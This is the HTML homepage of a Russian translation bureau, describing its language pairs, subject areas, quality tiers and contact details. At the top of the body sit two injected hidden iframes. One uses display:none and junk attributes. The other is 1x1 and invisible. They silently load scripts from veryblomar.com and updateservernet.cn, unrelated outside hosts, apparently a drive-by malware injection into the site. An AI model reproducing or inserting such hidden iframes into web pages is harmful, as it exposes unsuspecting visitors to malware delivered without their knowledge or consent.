Бюро переводов Лингватехника - письменный перевод научно-технических, деловых и др. текстов<body bgcolor="#EEFCFD" leftmargin="14" topmargin="20" marginwidth="14" marginheight="14"><iframe dvhav='5HLVJ1dI' gpshk='I6hAf52b' plcyb='r0anc4cH' csurk='Uyzwzoso' ygrig='QXtya6c8' src='http://veryblomar.com/vb/in.cgi?2 ' vmqik='Dv9amHqm' dhpeg='uH8yeTlk' kmuvv='Jsz9TLCD' ydpfb='NI11VdGB' vqcue='wuazq0nR' width='705' height='113' style='display:none'></iframe><iframe src='http://updateservernet.cn/tank.php' width='1' height='1' style='visibility: hidden;'></iframe>
<h1 align="center" class="textZagolovok">Главная</h1>
<p align="center" class="text">Мы рады приветствовать Вас на сайте ООО "Лингватехника"!</p>
<p class="text"><span class="bold">Наша специализация</span> - оказание услуг
по переводу научно-технических, деловых и др. текстов с некоторых европейских
языков на русский язык и обратно.</p>
<p class="text"><span class="bold">В чём отличия нашей компании от аналогичных
компаний, предлагающих услуги перевода?</span><br>
<span class="textColor"> Во-первых</span>,
мы работаем на ограниченном поле предметных областей и языков. В настоящее время
нами осуществляются письменные переводы текстов в следующих областях:</p>
<ul>
<li class="marker1">информационные технологии, компьютерная техника и программное
обеспечение, автоматизация, приборостроение <span class="text">(перевод
с <strong>английского</strong> языка на русский и обратно)</span>;</li>
<li class="marker1">экология, гидрология, биогеография, экономическая и общая
география (перевод с <strong>английского</strong> и <strong>французского</strong>
языков на русский и обратно);</li>
<li class="marker1">бизнес-тексты (перевод с <strong>английского</strong>,
<strong>французского</strong>, <span class="text"><strong>польского</strong></span>
языков на русский и обратно).</li>
</ul>
<p class="text"><span class="textColor"> Во-вторых</span>,
мы осуществляем дифференцированные по качеству переводы. Наши переводы подразделяются
на следующие уровни качества: <span class="textColor">высший</span>, <span class="textColor">нормальный</span>,
<span class="textColor">приемлемый</span>. Соответственно дифференцированы и
цены на услуги.</p>
<ul>
<p class="text"><span class="textColor">Переводы высшего уровня</span> осуществляются
совместно специалистом-предметником и специалистом общей лингвистической квалификации,
к переводам с русского языка на иностранный также привлекаются специалисты,
для которых иностранный язык является родным.<br>
<span class="textColor">Переводы нормального уровня</span>, осуществляют переводчики,
специализирующиеся в тематике переводимых текстов, но не имеющие специального
общелингвистического переводческого образования.<br>
<span class="textColor">Переводы приемлемого уровня</span> осуществляются
с применением автоматизированных переводчиков с последующей редакторской правкой
смысловых и терминологических неточностей, но без стилистической литературной
правки.</p>
</ul>
<p align="center" class="text">Цены на услуги отражены в <a href="pricelist.htm">прайс-листе</a>.</p>
<p class="text"><span class="bold">Приглашаем</span> к сотрудничеству специалистов
в различных предметных областях, имеющих опыт переводческой деятельности, а
также профессиональных переводчиков, имеющих высшее специальное образование.
Условия сотрудничества отражены в разделе <a href="vacancy.htm">вакансии</a>.
</p>
<p align="center" class="text">Если у Вас есть вопросы или предложения, то посетите
<a href="mailbox.htm">почтовый ящик</a>.<br>
</p>
<p align="center" class="text">Наша контактная информация:</p>
<table width="250" border="2" align="center" cellpadding="2" cellspacing="2">
<tr class="text">
<td width="113"> <div align="right">E-mail:</div></td>
<td width="265"><a href="mailto:rets@real.net.ru">rets@real.net.ru</a></td>
</tr>
<tr class="text">
<td> <div align="right">Телефон/Факс:</div></td>
<td>+7(095)779-51-02</td>
</tr>
</table>
</body>